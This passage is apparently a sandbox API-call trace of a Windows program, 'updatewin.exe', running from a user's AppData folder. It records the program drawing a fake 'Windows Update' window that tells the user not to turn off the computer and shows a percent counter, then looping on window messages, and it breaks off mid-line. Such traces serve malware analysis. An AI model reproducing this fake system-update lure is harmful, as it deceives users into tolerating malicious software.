hHeap=0x230000, dwFlags=0x0, lpMem=0x25df08 | out: hHeap=0x230000) returned 1 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x800) returned 0x25dc88 [0052.020] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0052.020] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402116) returned 0x404e69 [0052.021] GetStartupInfoW (in: lpStartupInfo=0x18e548 | out: lpStartupInfo=0x18e548*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0052.021] InitCommonControlsEx (picce=0x18e564) returned 1 [0052.021] LoadIconW (hInstance=0x400000, lpIconName=0x6b) returned 0xd00e3 [0052.022] LoadStringW (in: hInstance=0x400000, uID=0x67, lpBuffer=0x414378, cchBufferMax=100 | out: lpBuffer="Windows Update") returned 0xe [0052.022] LoadStringW (in: hInstance=0x400000, uID=0x6d, lpBuffer=0x4142b0, cchBufferMax=100 | out: lpBuffer="WINDOWSUPDATE") returned 0xd [0052.022] LoadIconW (hInstance=0x400000, lpIconName=0x6b) returned 0xd00e3 [0052.022] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0052.023] LoadIconW (hInstance=0x400000, lpIconName=0x6c) returned 0x110157 [0052.023] RegisterClassExW (param_1=0x18e510) returned 0xc137 [0052.023] GetDesktopWindow () returned 0x10010 [0052.023] MonitorFromWindow (hwnd=0x10010, dwFlags=0x2) returned 0x10001 [0052.023] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x18e510 | out: lpmi=0x18e510) returned 1 [0052.023] CreateWindowExW (dwExStyle=0x0, lpClassName="WINDOWSUPDATE", lpWindowName="Windows Update", dwStyle=0x0, X=1002, Y=600, nWidth=418, nHeight=240, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x9011c [0052.142] NtdllDefWindowProc_W () returned 0x0 [0052.143] NtdllDefWindowProc_W () returned 0x1 [0052.145] NtdllDefWindowProc_W () returned 0x0 [0052.147] CreateDialogParamW (hInstance=0x400000, lpTemplateName=0x65, hWndParent=0x9011c, lpDialogFunc=0x401360, dwInitParam=0x0) returned 0x50120 [0052.154] NtdllDefWindowProc_W () returned 0x0 [0052.157] NtdllDefWindowProc_W () returned 0x0 [0052.157] NtdllDefWindowProc_W () returned 0x0 [0052.161] GetClientRect (in: hWnd=0x50120, lpRect=0x18d358 | out: lpRect=0x18d358) returned 1 [0052.161] GetDlgItem (hDlg=0x50120, nIDDlgItem=1000) returned 0x40124 [0052.161] MoveWindow (hWnd=0x40124, X=295, Y=167, nWidth=95, nHeight=23, bRepaint=1) returned 1 [0052.162] GetDlgItem (hDlg=0x50120, nIDDlgItem=1001) returned 0x4011e [0052.162] MoveWindow (hWnd=0x4011e, X=95, Y=134, nWidth=225, nHeight=16, bRepaint=1) returned 1 [0052.162] SendMessageW (hWnd=0x4011e, Msg=0x401, wParam=0x0, lParam=0x640000) returned 0x640000 [0052.162] SendMessageW (hWnd=0x4011e, Msg=0x402, wParam=0x4, lParam=0x0) returned 0x0 [0052.163] timeGetTime () returned 0x1bcc9 [0052.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x401690, lpParameter=0x50120, dwCreationFlags=0x0, lpThreadId=0x4142a4 | out: lpThreadId=0x4142a4*=0xb44) returned 0xbc [0052.164] ShowWindow (hWnd=0x50120, nCmdShow=5) returned 0 [0052.164] GetClientRect (in: hWnd=0x9011c, lpRect=0x18df10 | out: lpRect=0x18df10) returned 1 [0052.164] MoveWindow (hWnd=0x50120, X=0, Y=0, nWidth=412, nHeight=212, bRepaint=1) returned 1 [0052.164] NtdllDefWindowProc_W () returned 0x0 [0052.165] SetWindowPos (hWnd=0x9011c, hWndInsertAfter=0xffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0052.165] NtdllDefWindowProc_W () returned 0x0 [0052.165] NtdllDefWindowProc_W () returned 0x0 [0052.165] NtdllDefWindowProc_W () returned 0x0 [0052.181] NtdllDefWindowProc_W () returned 0x0 [0052.181] NtdllDefWindowProc_W () returned 0x0 [0052.181] NtdllDefWindowProc_W () returned 0x1 [0052.183] NtdllDefWindowProc_W () returned 0x0 [0052.290] NtdllDefWindowProc_W () returned 0x0 [0052.292] NtdllDefWindowProc_W () returned 0x0 [0052.292] NtdllDefWindowProc_W () returned 0x0 [0052.292] NtdllDefWindowProc_W () returned 0x0 [0052.293] ShowWindow (hWnd=0x9011c, nCmdShow=1) returned 0 [0052.293] NtdllDefWindowProc_W () returned 0x0 [0052.293] NtdllDefWindowProc_W () returned 0x0 [0052.293] NtdllDefWindowProc_W () returned 0x0 [0052.298] NtdllDefWindowProc_W () returned 0x1 [0052.298] NtdllDefWindowProc_W () returned 0x0 [0052.298] NtdllDefWindowProc_W () returned 0x0 [0052.298] NtdllDefWindowProc_W () returned 0x0 [0052.298] UpdateWindow (hWnd=0x9011c) returned 1 [0052.298] BeginPaint (in: hWnd=0x9011c, lpPaint=0x18e328 | out: lpPaint=0x18e328) returned 0x6010855 [0052.298] EndPaint (hWnd=0x9011c, lpPaint=0x18e328) returned 1 [0052.299] BeginPaint (in: hWnd=0x50120, lpPaint=0x18da10 | out: lpPaint=0x18da10) returned 0x1010861 [0052.299] CreateSolidBrush (color=0x5b3ef) returned 0x2d100256 [0052.299] FillRect (hDC=0x1010861, lprc=0x18da00, hbr=0x2d100256) returned 1 [0052.301] DeleteObject (ho=0x2d100256) returned 1 [0052.301] DrawIcon (hDC=0x1010861, X=7, Y=7, hIcon=0xd00e3) returned 1 [0052.301] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x150a0851 [0052.302] SelectObject (hdc=0x1010861, h=0x150a0851) returned 0x18a002e [0052.302] SetBkMode (hdc=0x1010861, mode=1) returned 2 [0052.302] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0052.302] TextOutW (hdc=0x1010861, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0052.308] SelectObject (hdc=0x1010861, h=0x18a002e) returned 0x150a0851 [0052.308] CreateSolidBrush (color=0xffffff) returned 0x2e100256 [0052.308] FillRect (hDC=0x1010861, lprc=0x18d9f0, hbr=0x2e100256) returned 1 [0052.308] DeleteObject (ho=0x2e100256) returned 1 [0052.308] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x100a085b [0052.312] SelectObject (hdc=0x1010861, h=0x100a085b) returned 0x18a002e [0052.312] SetBkMode (hdc=0x1010861, mode=1) returned 1 [0052.312] lstrlenW (lpString="Getting your update ready.") returned 26 [0052.312] TextOutW (hdc=0x1010861, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0052.312] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0052.312] TextOutW (hdc=0x1010861, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0052.312] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0052.312] TextOutW (hdc=0x1010861, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0052.312] SelectObject (hdc=0x1010861, h=0x18a002e) returned 0x100a085b [0052.312] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x1f0a085a [0052.314] SelectObject (hdc=0x1010861, h=0x1f0a085a) returned 0x18a002e [0052.314] SetBkMode (hdc=0x1010861, mode=1) returned 1 [0052.314] SetTextAlign (hdc=0x1010861, align=0x6) returned 0x0 [0052.314] wsprintfW (in: param_1=0x18da50, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0052.314] lstrlenW (lpString="Percent complete: 4%") returned 20 [0052.314] TextOutW (hdc=0x1010861, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0052.320] SelectObject (hdc=0x1010861, h=0x18a002e) returned 0x1f0a085a [0052.320] EndPaint (hWnd=0x50120, lpPaint=0x18da10) returned 1 [0052.340] LoadAcceleratorsW (hInstance=0x400000, lpTableName=0x6d) returned 0x3001b1 [0052.340] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.340] NtdllDefWindowProc_W () returned 0x0 [0052.340] NtdllDefWindowProc_W () returned 0x0 [0052.341] NtdllDefWindowProc_W () returned 0x0 [0052.341] TranslateAcceleratorW (hWnd=0x0, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.341] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.341] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.341] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.341] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.341] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.341] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.341] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.341] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.341] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.341] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.342] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.343] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.343] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.343] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.343] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.390] TranslateAcceleratorW (hWnd=0x301c2, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.390] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.390] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.390] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.390] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.390] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.390] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.390] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.436] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.436] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.436] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.437] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.437] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.437] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.437] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.437] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.483] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.483] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.483] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.483] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.530] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.530] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.530] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.530] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.577] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.577] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.577] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.577] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.577] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.577] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.577] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.578] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.592] TranslateAcceleratorW (hWnd=0x301cc, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.592] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.592] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.592] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.686] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.686] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.686] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.686] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.795] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.795] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.795] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.796] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0052.796] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0052.796] TranslateMessage (lpMsg=0x18e548) returned 0 [0052.796] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0052.797] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.576] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.576] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.576] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.576] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.622] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.622] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.622] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.622] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.622] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.622] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.622] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.624] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.669] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.669] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.669] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.669] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.669] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.669] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.669] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.670] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.718] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.718] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.718] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.718] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.718] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.718] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.718] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.719] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.766] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.767] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.767] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.767] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.767] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.767] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.767] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.768] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.809] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.809] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.809] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.809] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.809] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.809] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.809] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.810] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.856] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.856] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.856] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.856] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.856] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.856] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.856] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.857] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.903] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.903] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.903] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.903] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.903] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.903] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.903] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.904] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.950] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.950] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.950] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.950] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.950] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.950] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.950] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.951] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.998] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.998] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.998] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.998] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.998] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0053.998] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.998] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.999] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0054.106] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0054.106] TranslateMessage (lpMsg=0x18e548) returned 0 [0054.106] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0054.106] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0054.106] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0054.106] TranslateMessage (lpMsg=0x18e548) returned 0 [0054.106] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0054.107] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0054.152] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0054.152] TranslateMessage (lpMsg=0x18e548) returned 0 [0054.152] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0054.153] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0054.153] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0054.153] TranslateMessage (lpMsg=0x18e548) returned 0 [0054.153] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0054.153] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0054.199] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0054.199] TranslateMessage (lpMsg=0x18e548) returned 0 [0054.199] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0054.199] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0054.199] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0054.199] TranslateMessage (lpMsg=0x18e548) returned 0 [0054.199] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0054.200] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0054.481] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0054.481] TranslateMessage (lpMsg=0x18e548) returned 0 [0054.481] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0054.481] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.447] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.447] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.447] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.447] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.494] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.494] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.494] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.494] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.494] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.494] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.494] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.495] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.541] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.541] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.541] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.541] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.541] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.541] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.541] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.542] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.588] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.588] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.588] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.588] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.588] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.588] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.588] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.589] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.634] TranslateAcceleratorW 